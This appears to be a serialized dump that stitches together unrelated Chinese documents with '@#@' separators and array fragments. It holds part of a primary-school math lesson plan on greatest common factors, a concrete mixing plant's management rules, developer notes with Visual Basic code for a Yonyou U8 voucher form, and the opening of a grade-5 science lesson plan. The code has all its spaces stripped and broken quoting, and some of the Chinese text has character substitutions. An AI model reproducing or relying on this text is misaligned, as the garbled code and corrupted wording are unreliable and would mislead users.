@#@因为5和7的公因数只有1,所以5和7的最大公因数是1。
@#@@#@4、师:
@#@像这种公因数只有1的两个数,叫做互质数。
@#@(请学生找出这句话中的关键词)@#@师:
@#@互质的两个数必须都是质数吗?
@#@@#@请你举两个不是质数的互质的例子来。
@#@@#@5、按要求写出两个数,使它们的最大公因数是1。
@#@@#@①两个数都是质数:
@#@和。
@#@@#@②两个数都是合数:
@#@和。
@#@@#@③一个质数一个合数:
@#@和。
@#@@#@六、全课总结。
@#@@#@师:
@#@同学们,这节课马上要结束了,能说说你们的收获吗?
@#@@#@《最大公因数》教学反思@#@小学数学课堂的概念教学,应注重引导学生体验“概念形成”的过程,因此我在教学设计中力求做到几点:
@#@@#@1、创设问题情境揭示数学与现实世界的联系@#@以往教学公因数的概念,通常是直接找出两个自然数的因数,然后让学生发现有的因数是两个数公有的,从而揭示公因数和最大公因数的概念。
@#@在今天的教学中,我注意引导学生通过思维操作、小组讨论等活动,让学生经历公因数和最大公因数概念的形成过程。
@#@首先,从“地砖的边长可以是几分米?
@#@”这一问题切入,引导学生积极思考、小组讨论,发现边长分别是1分米、2分米、4分米的正方形地砖能把地面铺满而且是整块数。
@#@其次设疑为何边长是1、2、4的能满足要求进行铺满,而其它都不行,引导学生思考1、2、4与16、12有着怎样的特殊关系。
@#@再是揭示出公因数和最大公因数的含义,完成由形象到抽象的过程,把感性认识提升为理性认识。
@#@@#@2、让学生主动探索,经历数学概念的形成过程@#@学生数学学习的过程可以说是一种再创造的过程,是学生自主构建自己对数学知识的理解的过程。
@#@课中,我创设了王叔叔家给贮藏室地面铺地砖的情境。
@#@在学生正确解读铺地砖要求后,学生思考讨论“边长可以是几分米?
@#@”发现可以选择边长是1、2、4分米的地砖。
@#@而后在交流的过程中,引导学生去发现边长1、2、4与16和12之间的内在关系,抽象出公因数、最大公因数的概念。
@#@在这过程中,有利于学生理解公因数、最大公因数概念的现实意义,也有利于培养学生的抽象能力。
@#@@#@3、找两个数的公因数,提倡思考方法的多样化。
@#@@#@《数学课程标准》在叙述此部分知识的教学目标时,有一个词在表述上有所改变,原来我们都说:
@#@求两个数的公因数,现在改为“找两个数的公因数”将“求”改为“找”,这不仅仅是语言表述上的变化,更是教学目标要求上变化。
@#@课标之所以作这样的改变,可能有以下两点:
@#@@#@①“求”更多关注的是“算”,而“找”则更多关注的是“对意义的理解、思考问题的方法、及解决问题的策略”。
@#@@#@②降低教学难点。
@#@我在教学这部分知识时,把重点放在找两个数的公因数的方法上来,鼓励学生找最大公因数方法的多样化。
@#@如教学“找27和18的最大公因数”时,我继续刚才的情境----如果要给厨房铺设抛光砖,要求同贮藏室,你还需要在图纸上画一画吗?
@#@从而由具体形象的抽象到数学上来。
@#@我努力引导学生运用多种方法,在学生感悟、理解的基础上,进行方法的优化。
@#@@#@但在实践教学中还是存在着一些问题,如:
@#@@#@1、学生操作设计铺设贮藏室的地面时,要求还可以再明确些,或大屏幕出现一下会更好。
@#@@#@2、在教学找特殊关系的两个数的最大公因数时,可以增加一些练习,让学生充分感知,而不一定要用语言来概括。
@#@@#@@#@";i:
13;s:
12419:
"搅拌站管理制度@#@搅拌站管理制度@#@一、工作制度@#@1.坚决贯彻党旳路线、方针、政策及公司制定旳各项规章制度,尽职完毕本职工作。
@#@@#@2.认真学习科技文化和业务知识,不断提高业务水平。
@#@@#@3.热爱本职、热爱集体、爱岗敬业、廉洁自律,团结友爱、敢于承认错误、敢于开展批评与自我批评。
@#@@#@4.认真完毕本职工作,遇事做到逐级上报,坚决杜绝隐瞒不服,非特殊状况下严禁越级上报。
@#@@#@5.要加强自身修养,做到文明服务,礼貌待人,推广一般话,对别人提出旳问题总是要耐心解答,做到动之以情、晓之以理。
@#@@#@6.要讲究卫生、注意仪表、言行举止必须以公司规范行为为己任。
@#@@#@7.绿化室外环境,保持室内清洁卫生,做到办公桌上旳物品摆放整洁,窗明几净。
@#@@#@8.上班期间做到不干私活、不溜岗、不窜岗、不闲谈、不搬弄事非、不迟到、不早退、不酒后上岗。
@#@@#@9.通过合法渠道反映解决问题,不打小报告、不搞打击报复、不搞帮派。
@#@@#@10.员工在工作期间,必须穿工作服。
@#@@#@11.站内应明确卫生责任区、负责人,不留卫生死角。
@#@@#@ @#@@#@二、生产制度@#@1、树立精品意识,精心组织生产,认真完毕生产任务。
@#@@#@2、恪尽职守,严格按照作业指引书进行作业。
@#@@#@3、保证产品质量,严格把好混凝土生产过程中各个环节旳质量关,保证安全文明生产。
@#@@#@4、做好供、产、销各个环节旳协调和配合,发现问题要及时反馈、及时解决。
@#@@#@5、工作人员必须培训上岗,并按规定佩带防护用品。
@#@@#@6、配备机械旳防护装置,做好电器设备旳防护措施,保证安全生产。
@#@@#@7、减少成本、减少资源能源消耗,节省原材料、创公司最大经济效益。
@#@@#@8、搅拌站夜间生产需安排值班人员,值班人员应留有《夜间值班记录》。
@#@@#@9、质量控制中心主任负责按《顾客满意控制程序》所规定旳回访频次和内容进行回访。
@#@并且有回访记录。
@#@@#@10、每年冬季搅拌站应组织各岗位人员进行一次系统学习,每岗位学习时间不得低于16学时,并对培训学习人员进行考核。
@#@@#@11、生产站长应每日留生产日记。
@#@@#@12、生产站长负责向质量控制中心下达生产任务告知单。
@#@@#@13、混凝土必须保证质量,如浮现质量问题,分析其因素追查有关人员旳责任并予以相应旳惩罚。
@#@@#@14、每次接到生产任务,由站长对设备、质量控制中心、材料各环节与否具有生产条件进行核算,保证生产顺利进行。
@#@@#@15、收料员每日应将原材料库存状况以局面形式报生产站长、质量控制中心主任,以便安排生产。
@#@@#@三、夜间值班检查制度@#@为了加强夜间生产各个环节不出漏洞,不影响混凝土旳正常浇筑,制定如下夜间值班制度,规定站内严格遵循执行:
@#@@#@生产期间站长负责安排夜间值班人员及制度夜间值班时间,并在站内予以发布,各值班人员应严格按值班内容组织贯彻并实行监督检查,根据值班内容留有夜间值班记录。
@#@@#@具体值班内容:
@#@@#@
(1)生产人员各岗位有无缺岗。
@#@@#@
(2)砼原材料与否与配合比告知单匹配。
@#@@#@(3)出厂砼质量旳控制与否按规范执行。
@#@@#@(4)原材料与否可以满足生产需要。
@#@@#@(5)工作人员在现场与否对旳佩戴安全帽。
@#@@#@(6)收料员对进场旳原材料数量、质量把关与否严格。
@#@@#@ @#@@#@车辆管理制度@#@1、装载机应定车定人,非本车驾驶员不得驾驶,如有特殊状况需经站长批准后方可指定司机驾驶。
@#@@#@2、停止作业后,装载机应停放在指定地点,由生产站长管理并进行全面检查。
@#@@#@3、驾驶员不得擅自驾驶车辆干私活。
@#@@#@4、按规定对车辆进行定期保养和维修。
@#@@#@5、司机按检查制度对车辆进行日、周、月、年检,并留有检查记录,由站长进行监督。
@#@@#@6、建立车辆交接班签字手续。
@#@@#@7、车辆运营过程中应留有车辆运营过程、出车记录、交接班记录并每月进行一次检查。
@#@@#@8、油料旳出库必须由经办人、站长、保管签字。
@#@@#@9、车辆维修、保养应按“十字作业法”进行。
@#@@#@10、建立车辆旳合格证、保修卡、车辆登记证、二级维护费,由站长统一管理并存档。
@#@@#@11、建立、健全车辆旳安全操作规程。
@#@@#@12、必须对聘驾驶员进行岗前培训,经考试合格方可录取,并留记录。
@#@@#@13、对驾驶员,必须核算验证驾驶员有关证件旳真伪。
@#@@#@ @#@@#@驾驶员管理制度@#@1、驾驶员必须爱岗敬业,持证上岗。
@#@@#@2、驾驶员严禁酒后驾驶,不开斗汽车、英雄车、情绪车。
@#@@#@3、驾驶员要文明开车,不强超、硬会,灭火滑行。
@#@@#@4、运营中要集中精力,进入工地要文明服务。
@#@@#@5、车辆维修时,驾驶员不得离开车辆;@#@车辆维修完毕后,所用废弃物放到指定地点。
@#@@#@6、驾驶员不在交接班时,必须做好交接手续,交接内容如下:
@#@车辆证件、车辆有无端障、随车工具物品与否齐全。
@#@@#@7、应常常保持车辆旳卫生清洁、干净、且无油渍旳污染。
@#@@#@8、随时随处保持车辆各部位干净、整洁。
@#@@#@9、随时检查车辆工作性能,保证车辆正常运营。
@#@@#@10、夏季应注意减速机油温度过高而导致机体故障,电扇一般应处在静止状态,短时间转动属于正常现象。
@#@如长时间转动属异常状况,需检查(油温过高)。
@#@@#@11、车辆需本人驾驶,不得随意将车辆交与其她人驾驶。
@#@如有特殊状况需经站长批准后方可指定其她驾驶员驾驶。
@#@@#@12、车辆在运营中,如遇疑难问题,及时告知站长,如不告知而发生严重后果由驾驶员负责。
@#@@#@13、驾驶员由于违章、压线导致旳罚款,由驾驶员负责。
@#@@#@14、车辆进入施工现场,驾驶员下车前必须对旳佩带安全帽,查看现场与否安全(如有钢钉、钢筋等必须告知施工方清理现场),同步询问现场管理人员道路有无地沟、空架线路、塔吊,在保证安全旳状况下,配合指挥人员进行倒车。
@#@@#@15、驾驶员在每次工作、维修后必须认真填写登记表:
@#@@#@1)当天效益表;@#@@#@2)生产登记表;@#@@#@3)车辆维修登记表;@#@@#@4)交接班登记表;@#@@#@16、车辆一定要规定位置整洁停放,并关闭电源、锁好车门,保证不影响其她车辆旳正常运营。
@#@@#@ @#@@#@四、收料员管理制度@#@1、原材料入库时,不管何种材料均应认真办理入库手续。
@#@@#@2、对入库旳材料要分类寄存,并挂好标记牌,做到整洁有序。
@#@@#@3、沙石料进场必须经原材料检查员检查,严禁不合格材料进场;@#@对不合格旳材料进场后,要及时上报质量控制中心主任。
@#@@#@4、散装罐车进场前必须过磅,收料员在查看有关证件和产品出厂磅单后,过磅卸料;@#@散装罐车卸料后必须回皮。
@#@@#@5、收料员对所有进场材料要建立日台帐,每天要会同保管员对原材料进行入库核算,认真做好记录,填写(材料入库单)。
@#@@#@6、外加剂在进场前,收料员应向供方索要材料合格证,检查报告等,并要检查出厂日期,在保证产品质量旳前提下方可卸料。
@#@@#@7、原材料堆放时,应按产地、品种分类,按照标记规定堆放,并避免堆放过程中混入泥土等杂质。
@#@@#@8、每月参与搅拌站内材料盘点工作。
@#@@#@9、按批次对胶凝材料及时告知原材料检查员复检。
@#@@#@10、对原材料及砼挥霍数量监督,并留有有效记录。
@#@@#@11、对原材料日库存状况及时上报质量控制中心主任。
@#@@#@ @#@@#@五、保管员管理制度@#@1、每月5号前将原材料盘点表、燃油消耗表、库存盘点表等上报生产站长,并履行签字手续。
@#@@#@2、每月底组织对报废物品进行解决,建立健全台帐,履行签字手续,并上报财务。
@#@@#@3、严格办理物资出入库手续,并建立健全台帐。
@#@@#@4、严格监督周转材料旳使用状况。
@#@@#@5、不得擅自撕掉出入库单。
@#@@#@6、库房内必须有货架,必须分类码放整洁,并做到防潮。
@#@@#@7、多种台帐应及时登记,记录清晰明了。
@#@@#@ @#@@#@六、站长助理管理制度@#@1、积极配合生产站长协调、解决站长生产工作。
@#@@#@2、在生产过程中合理调配车辆。
@#@@#@3、必须积极积极参与合同评审工作。
@#@@#@4、在砼开盘前,与工地核算浇筑告知单内容与否相符。
@#@@#@5、因生产任务告知单填写错误,使得砼发错,给搅拌站导致损失,予以经济惩罚。
@#@解雇,直至追究其法律责任。
@#@@#@6、在同步向多方施工单位供应砼时,如有车辆互相调动,必须及时告知操作室及车队,如浮现砼发错现象,导致损失旳,予以经济惩罚并追究其法律责任。
@#@@#@7、必须以电子文献或书面形式收到工地砼浇注告知单后,方可精确无误下达生产任务告知单,并保存记录,如有违背,扣除当月工资。
@#@@#@8、如发现施工现场有砼挥霍现象(跑模、外溢、超厚、外运、基本实际浇注尺寸与图纸不符),必须告知并协助综合业务部经理签证变更单。
@#@@#@9、必须制止工地擅自加水加料现象,并保存影象资料。
@#@@#@10、砼浇注前必须监督润管沙浆旳使用状况,决不容许浮现润管沙浆浇注到梁、柱、墙等重要构造。
@#@@#@11、擅自解决剩余混凝土,扣除当月工资,并通报批评。
@#@@#@12、对剩余或退回混凝土,留有记录。
@#@@#@13、处置退回混凝土,留有处置记录,@#@ @#@@#@七、质量控制中心管理制度@#@1、质量控制中心负责搅拌站所有原材料及半成品旳检查。
@#@认真贯彻搅拌站旳质量方针、质量目旳。
@#@@#@2、原材料检查员在检查材料时,必须写清材料旳品质、牌号、出厂编号、代表数量、生产厂家等。
@#@@#@3、质量控制中心在接到样品后须尽快检查,报告旳发出时间不得超过多种材料旳“报告最晚发出时间”。
@#@@#@4、检查报告一式两份,其中一份质量控制中心存档,一份递交质量控制中心主任,如果检查浮现不合格项,及时报告收料员及站长。
@#@@#@5、质量控制中心为搅拌站提供技术服务,出具经济可行旳配合比。
@#@@#@6、质量控制中心负责本部门实验仪器旳标记、保养、维护、检定校准工作,重要仪器旳采购、报废需经上级部门领导批准。
@#@@#@7、质量控制中心负责本部门旳一体化管理体系运营及有关资料整顿编制归档,以及图书、刊物旳借阅和寄存。
@#@@#@8、质量控制中心负责本部门所使用旳检查评估原则旳有效性,配合上级主管部门进行新材料,新工艺旳推广。
@#@@#@9、质量控制中心负责每月对砼旳强度进行一次评估,半年进行一次总评估。
@#@@#@10、应建立健全质量控制中心旳安全操作规程。
@#@@#@11、质量控制中心出具旳配合比,必须上报总工,并履行签字手续。
@#@@#@12、由于工作失职,给搅拌站导致经济损失在元,扣除当月工资;@#@50000元以上,追究其法律责任。
@#@@#@13、砼系统试配每月不少于一次,并留有记录。
@#@@#@八、检测设备管理制度@#@1、质量控制中心设备维护员,负责本中心仪器设备和低值易耗品旳集中管理工作,仪器设备由使用人员负责,除对仪器按周期检定外,还应对其定期保养,保证功能正常,满足检测工作旳规定,并建立台账。
@#@@#@2、仪器设备使用人员应参与新购设备旳验收、安装、调试工作。
@#@@#@";i:
14;s:
14188:
"U8开发单据和单据列表总结871@#@1、单据页面初始化:
@#@@#@点击“部门费用拆分表”@#@执行后台代码块:
@#@@#@先定义变量icbc_deptfy,在类模块clsVoucher_CO(clsVoucher_co.cls)中@#@EnumVoucherTypeSA@#@icbc_deptfy'@#@================jiang==============@#@EndEnum@#@定义变量部门预算,在类模块clsVoucherLoad_BO(clsVoucherLoad_BO.cls)中@#@PublicEnumenuSAVType@#@部门费用拆分表="@#@100016"@#@'@#@================jiang==============@#@EndEnum@#@调用clsproductfacade模块中下面的callFunction方法@#@PublicFunctionCallFunction(ByValcMenuIdAsString,ByValcMenuNameAsString,ByValcAuthIdAsString,ByValcCmdLineAsString)AsObject@#@SelectCasecMenuId@#@Case"@#@MT0101"@#@,"@#@MT0102"@#@,"@#@MT0103"@#@,"@#@MT0201"@#@,"@#@MT0202"@#@@#@gd_frmMain.m_oMenu_OnCommandcMenuId,cMenuName,cAuthId,cCmdLine@#@EndSelect@#@调用frmMain(主窗体.frm)中下面的m_oMenu_OnCommand方法@#@PublicSubm_oMenu_OnCommand(ByValcMenuIdAsString,ByValcMenuNameAsString,ByValcAuthIdAsString,ByValcCmdLineAsString)@#@添加代码:
@#@@#@SelectCasecMenuId@#@Case"@#@MT0201"@#@'@#@部门费用拆分表@#@miBJD_Clickicbc_deptfy,cAuthId,,strVouchID@#@调用方法miBJD_Click@#@PublicSubmiBJD_Click(strVouTypeAsVoucherTypeSA,strTaskIdAsString,OptionaliModeAsInteger,OptionalSBVIDAsString,OptionalcSBVCodeAsString,OptionalmDomAsDOMDocument)@#@添加代码:
@#@@#@SelectCasestrVouType@#@Caseicbc_deptfy'@#@================jiang==============@#@strFrmCaption=MLRsSvr.GetString("@#@U8.ICBC.Mt.0299"@#@)'@#@"@#@部门费用拆分表"@#@@#@tmpTaskID="@#@MT020101"@#@'@#@权限ID@#@sType="@#@100016"@#@'@#@模板编号@#@调用frmVouchNew(单据模板.frm)中ShowVoucher方法@#@PublicFunctionShowVoucher(VoucherTypeAsVoucherTypeSA,OptionalvVoucherIdAsVariant,OptionaliModeAsInteger)@#@添加代码:
@#@@#@SelectCaseVoucherType@#@Caseicbc_deptfy'@#@部门费用拆分表@#@strVouchType="@#@100016"@#@@#@strCardNum="@#@KM01"@#@@#@Me.caption=MLRsSvr.GetString("@#@U8.ICBC.Mt.0299"@#@)'@#@"@#@部门费用拆分表"@#@@#@调用clsVoucher_CO(clsVoucher_CO.cls)中的GetVouchInf方法@#@PublicFunctionGetVouchInf(m_enmVoucherTypeAsVoucherTypeSA,_@#@SelectCasem_enmVoucherType@#@Caseicbc_deptfy'@#@部门费用拆分表@#@sVouchType="@#@100016"@#@@#@sCardNum="@#@KM01"@#@@#@bVouchFirst=False@#@strTable="@#@icbc_acv"@#@@#@调用frmVouchNew(单据模板.frm)中SetButtonStatus方法@#@PrivateSubSetButtonStatus(ButtonKeyAsString)@#@SelectCaseLCase(ButtonKey)@#@Case"@#@modify"@#@@#@SelectCaseLCase(strVouchType)@#@Case"@#@100016"@#@@#@tbrvoucher.buttons("@#@Modify"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Save"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Cancel"@#@).Enabled=True@#@tbrvoucher.buttons("@#@AddRow"@#@).Enabled=True@#@tbrvoucher.buttons("@#@DelRow"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Erase"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Add"@#@).Enabled=False@#@tbrvoucher.buttons("@#@UnSure"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Sure"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToFirst"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToPrevious"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToNext"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToLast"@#@).Enabled=False@#@EndSelect@#@Case"@#@add"@#@@#@SelectCaseLCase(strVouchType)@#@Case"@#@100016"@#@@#@tbrvoucher.buttons("@#@Add"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Save"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Cancel"@#@).Enabled=True@#@tbrvoucher.buttons("@#@AddRow"@#@).Enabled=True@#@tbrvoucher.buttons("@#@DelRow"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Modify"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Erase"@#@).Enabled=False@#@tbrvoucher.buttons("@#@UnSure"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Sure"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToFirst"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToPrevious"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToNext"@#@).Enabled=False@#@tbrvoucher.buttons("@#@ToLast"@#@).Enabled=False@#@EndSelect@#@Case"@#@cancel"@#@,"@#@save"@#@@#@SelectCaseLCase(strVouchType)@#@Case"@#@100016"@#@@#@ComboVTID.Visible=True@#@ComboDJMB.Visible=True@#@Labeldjmb.caption=MLRsSvr.GetString("@#@U8.ICBC.Mt.0302"@#@)'@#@"@#@打印模版:
@#@"@#@@#@tbrvoucher.buttons("@#@ToFirst"@#@).Visible=True@#@tbrvoucher.buttons("@#@ToPrevious"@#@).Visible=True@#@tbrvoucher.buttons("@#@ToNext"@#@).Visible=True@#@tbrvoucher.buttons("@#@ToLast"@#@).Visible=True@#@tbrvoucher.buttons("@#@Save"@#@).Visible=True@#@tbrvoucher.buttons("@#@Cancel"@#@).Visible=True@#@tbrvoucher.buttons("@#@DelRow"@#@).Visible=True@#@tbrvoucher.buttons("@#@AddRow"@#@).Visible=True@#@tbrvoucher.buttons("@#@Output"@#@).Visible=True'@#@输出@#@tbrvoucher.buttons("@#@Modify"@#@).Visible=True'@#@修改@#@tbrvoucher.buttons("@#@Save"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Cancel"@#@).Enabled=False@#@tbrvoucher.buttons("@#@AddRow"@#@).Enabled=False@#@tbrvoucher.buttons("@#@DelRow"@#@).Enabled=False@#@tbrvoucher.buttons("@#@Modify"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Erase"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Add"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Ordercode"@#@).Visible=False@#@tbrvoucher.buttons("@#@ImportPur"@#@).Visible=False@#@tbrvoucher.buttons("@#@ImportExcel"@#@).Visible=False@#@tbrvoucher.buttons("@#@MakeFACardNumber"@#@).Visible=False@#@tbrvoucher.buttons("@#@MakeFACard"@#@).Visible=False@#@tbrvoucher.buttons("@#@UnSure"@#@).Enabled=True@#@tbrvoucher.buttons("@#@Sure"@#@).Enabled=True@#@tbrvoucher.buttons("@#@ToFirst"@#@).Enabled=True@#@tbrvoucher.buttons("@#@ToPrevious"@#@).Enabled=True@#@tbrvoucher.buttons("@#@ToNext"@#@).Enabled=True@#@tbrvoucher.buttons("@#@ToLast"@#@).Enabled=True@#@EndSelect@#@调用ClsVoucher_CO(clsVoucher_CO.cls)中的GetVoucherData方法@#@PublicFunctionGetVoucherData(DomHeadAsDOMDocument,DomBodyAsDOMDocument,OptionalVouchIDAsVariant)AsString@#@添加代码:
@#@@#@SelectCasem_enmVoucherType@#@Caseicbc_deptfy'@#@部门费用拆分表@#@clsVouchDMO.GetVoucherDataWEBdomhead,dombody,m_Conn,部门费用拆分表,False,strErrMsg,VouchID@#@调用clsVouchDMO(clsVouchDMO.cls)中的getkey方法@#@PrivateFunctiongetkey(ByValuvdVouchTypeAsenuSAVType,ByValbReturnAsBoolean,CNAsADODB.Connection)AsBoolean@#@添加代码:
@#@@#@SelectCaseuvdVouchType@#@'@#@================jiang==============@#@Case部门费用拆分表@#@strVouchType="@#@100016"@#@@#@sKeyHead="@#@id"@#@@#@sKeyBody="@#@id"@#@@#@sMViewHead="@#@icbc_acv"@#@@#@sMViewBody="@#@icbc_acvs"@#@@#@sViewHead="@#@v_icbc_acv"@#@@#@sViewBody="@#@v_icbc_acvs"@#@@#@sBodyID="@#@autoid"@#@@#@调用ModVoucher(ModVoucher.bas)中的GetVouchInfo方法@#@PublicFunctionGetVouchInfo(strVouchTypeAsString,strMainIDNameAsString,_@#@strSubIDNameAsString,OptionalerrMsgAsString,OptionalcMainTableAsString,_@#@OptionalcSubTableAsString)AsBoolean@#@添加代码:
@#@@#@SelectCasestrVouchType@#@'@#@================jiang==============@#@Case"@#@100016"@#@'@#@部门费用拆分表@#@strMainIDName="@#@id"@#@@#@strSubIDName="@#@id"@#@@#@cMainTable="@#@icbc_acv"@#@@#@cSubTable="@#@icbc_acvs"@#@@#@调用frmVouchNew(单据模板.frm)中ChangeButtonsState方法@#@注:
@#@根据单据的要求,设置工具栏按钮的初始化时的状态@#@'@#@'@#@改变button的状态@#@PrivateSubChangeButtonsState()@#@添加代码:
@#@@#@SelectCasestrVouchType@#@'@#@================jiang==============@#@Case"@#@100016"@#@,"@#@300016"@#@,"@#@100018"@#@@#@'@#@已审核@#@If.headerText("@#@auditinguser"@#@)<@#@>@#@"@#@"@#@Then@#@Me.tbrvoucher.buttons("@#@UnSure"@#@).Visible=True@#@Me.tbrvoucher.buttons("@#@Sure"@#@).Visible=False@#@Me.tbrvoucher.buttons("@#@Modify"@#@).Enabled=False@#@Me.tbrvoucher.buttons("@#@Erase"@#@).Enabled=False@#@'@#@未审核@#@Else@#@Me.tbrvoucher.buttons("@#@Sure"@#@).Visible=True@#@Me.tbrvoucher.buttons("@#@UnSure"@#@).Visible=False@#@Me.tbrvoucher.buttons("@#@Modify"@#@).Enabled=True@#@Me.tbrvoucher.buttons("@#@Erase"@#@).Enabled=True@#@EndIf@#@SelectCasestrVouchType@#@Case"@#@100016"@#@,"@#@300016"@#@@#@Ifvoucher.headerText("@#@archiveno"@#@)="@#@"@#@Then@#@Me.tbrvoucher.buttons("@#@Modify"@#@).Enabled=False@#@Me.tbrvoucher.buttons("@#@Erase"@#@).Enabled=False@#@Me.tbrvoucher.buttons("@#@MakeFACard"@#@).Enabled=False@#@EndIf@#@EndSelect@#@调用ModVoucher(ModVoucher.bas)中的GetstrCardNum方法@#@PublicFunctionGetstrCardNum(strVouchTypeAsString,OptionalbRedAsBoolean=False,OptionalbGetTrueAsBoolean=False)AsString@#@添加代码:
@#@@#@SelectCasestrVouchType@#@'@#@================jiang==============@#@Case"@#@100016"@#@'@#@部门费用拆分表@#@GetstrCardNum="@#@KM01"@#@@#@EndSelect@#@2、点击“新增”按钮@#@调用frmVouchNew(单据模板.frm)中的VoucherTask方法@#@PrivateFunctionVoucherTask(sKeyAsString)AsBoolean@#@SelectCasestrVouchType@#@'@#@部门费用拆分表@#@Case"@#@100016"@#@@#@SelectCasesKey@#@CaseMLRsSvr.GetString("@#@U8.ICBC.Mt.0013"@#@)@#@strID="@#@MT020102"@#@@#@CaseMLRsSvr.GetString("@#@U8.ICBC.Mt.0014"@#@)@#@strID="@#@MT020103"@#@@#@CaseMLRsSvr.GetString("@#@U8.ICBC.Mt.0018"@#@)@#@strID="@#@MT020104"@#@@#@CaseMLRsSvr.GetString("@#@U8.ICBC.Mt.0026"@#@),MLRsSvr.GetString("@#@U8.ICBC.Mt.0027"@#@)@#@strID="@#@MT020105"@#@@#@EndSelect@#@EndSelect@#@调用clsSystem(clsSystem.cls)中的GetVoucherTaskID方法@#@PublicFunctionGetVoucherTaskID(sKeyAsString,sVouchTypeAsString,OptionalbRedAsBoolean)AsString@#@添加代码:
@#@@#@SelectCasesVouchType@#@'@#@================jiang==============start'@#@20061230@#@'@#@部门费用拆分表@#@Case"@#@100016"@#@@#@SelectCasesKey@#@CaseGetResString("@#@U8.ICBC.Mt.0013"@#@)@#@strID="@#@MT020102"@#@@#@CaseGetResString("@#@U8.ICBC.Mt.0014"@#@)@#@strID="@#@MT020103"@#@@#@CaseGetResString("@#@U8.ICBC.Mt.0018"@#@)@#@strID="@#@MT020104"@#@@#@CaseGetResString("@#@U8.ICBC.Mt.0026"@#@),GetResString("@#@U8.ICBC.Mt.0027"@#@)@#@strID="@#@MT020105"@#@@#@EndSelect@#@调用frmVouchNew(单据模板.frm)中getVoucherCodeName方法@#@PrivateFunctiongetVoucherCodeName()AsString@#@添加代码:
@#@@#@SelectCasestrVouchType@#@Case"@#@100016"@#@,"@#@300016"@#@@#@KeyCode="@#@archiveno"@#@@#@@#@3、录入数据,点击“保存”按钮,保存单据@#@调用ClsVoucher_CO(clsVoucher_CO.cls)中的Save方法@#@PublicFunctionSave(ByValDomHeadAsDOMDocument,ByValDomBodyAsDOMDocument,ByValVoucherStateAsInteger,OptionalvNewIDAsVariant,OptionalDomConfigAsDOMDocument)AsString@#@添加代码:
@#@@#@‘================jiang==============验证单据表体记录是否为0@#@SelectCasem_enmVoucherType@#@Caseicbc_deptfy@#@clsVouchLoad.VouchSavem_Conn,部门费用拆分表,domhead,dombody,VoucherState,strError,vNewID,DomConfig@#@EndSelect@#@@#@调用ClsVouchLoad_BO(clsVouchLoad_BO.cls)中VouchSave的方法@#@PublicFunctionVouchSave(m_ConnAsConnection,ByValuvdVouchTypeAsenuSAVType,_ByValDomHeadAsDOMDocument,ByValdomBodyAsDOMDocument,_@#@ByValVoucherStateAsInteger,sErrMsgAsString,OptionalvNewIDAsVariant,OptionalDomConfigAsDOMDocument)AsBoolean@#@添加代码:
@#@@#@SelectCaseuvdVouchType@#@'@#@================jiang==============@#@Case"@#@100016"@#@@#@bSuccess=True@#@strMTblName="@#@icbc_acv"@#@@#@strSTblName="@#@icbc_acvs"@#@@#@ @#@@#@4、单据的删除功能@#@点击“删除”按钮@#@调用clsVouchload_bo(clsVouchload_bo.cls)中的VouchDelete方法@#@PublicFunctionVouchDelete(strVouchTypeAsString,ByValDBConnAsADODB.Connection,sTableNameAsString,DomHeadAsDOMDocument)AsString@#@添加代码:
@#@@#@SelectCasestrVouchT";i:
15;s:
28711:
"教科版小学科学下全册教案@#@新版教科版五年级下册@#@科@#@学@#@教@#@案@#@编写人员:
@#@@#@第一单元:
@#@浙江省丽水市莲都区大洋路学校陈建秋@#@第二单元:
@#@河北省秦皇岛市昌黎县一街小学北校区乔R@#@第三单元:
@#@浙江省上虞市实验小学章兴波@#@第四单元:
@#@湖北省丹江口市张家营小学余涛@#@2008年2月@#@教科版修订版五年级下册教材目录@#@第一单元沉和浮@#@1物体在水中是沉还是浮@#@2沉浮与什么因素有关@#@3橡皮泥在水中的沉浮@#@4造一艘小船@#@5浮力@#@6下沉的物体会受到水的浮力吗@#@7马铃薯在液体中的沉浮@#@8探索马铃薯沉浮的原因@#@第二单元热@#@1热起来了@#@2给冷水加热@#@3液体的热胀冷缩@#@4空气的热胀冷缩@#@5金属热胀冷缩吗@#@6热是怎样传递的@#@7传热比赛@#@8设计制作一个保温杯@#@第三单元时间的测量@#@1时间在流逝@#@2太阳钟@#@3用水测量时间@#@4我的水钟@#@5机械摆钟@#@6摆的研究@#@7做一个钟摆@#@8制作一个一分钟计时器@#@第四单元地球的运动@#@1昼夜交替现象@#@2人类认识地球及其运动的历史@#@3证明地球在自转@#@4谁先迎来黎明@#@5北极星“不动”的秘密@#@6地球在公转吗@#@7为什么一年有四季@#@8极昼和极夜的解释@#@第一单元沉和浮@#@1、物体在水中是沉还是浮@#@【教学目标】@#@科学概念:
@#@@#@1、物体在水中有沉有浮,判断物体沉浮有一定的标准。
@#@@#@2、同种材料构成的物体,改变它的质量和体积,沉浮状态不改变。
@#@@#@过程与方法:
@#@@#@1、对物体沉浮做出预测,并用实验验证,做好记录。
@#@@#@2、学会用切分和叠加物体的方法研究沉浮变化。
@#@@#@情感、态度、价值观:
@#@@#@认识到用实验验证猜想,能及时纠正自己的错误概念。
@#@@#@【教学重点】@#@同种材料构成的物体,改变它的质量和体积,沉浮状态不改变。
@#@@#@【教学难点】@#@帮助学生及时纠正自己的错误概念。
@#@@#@【教学准备】@#@教师演示实验:
@#@水槽1个,大小相近的砖块、木块和塑料块各一。
@#@@#@小组实验一:
@#@水槽1个,物体7种(小石块、泡沫块、回形针、蜡烛、带盖的空瓶、萝卜、橡皮),实验记录表(教材第2面)。
@#@@#@小组实验二:
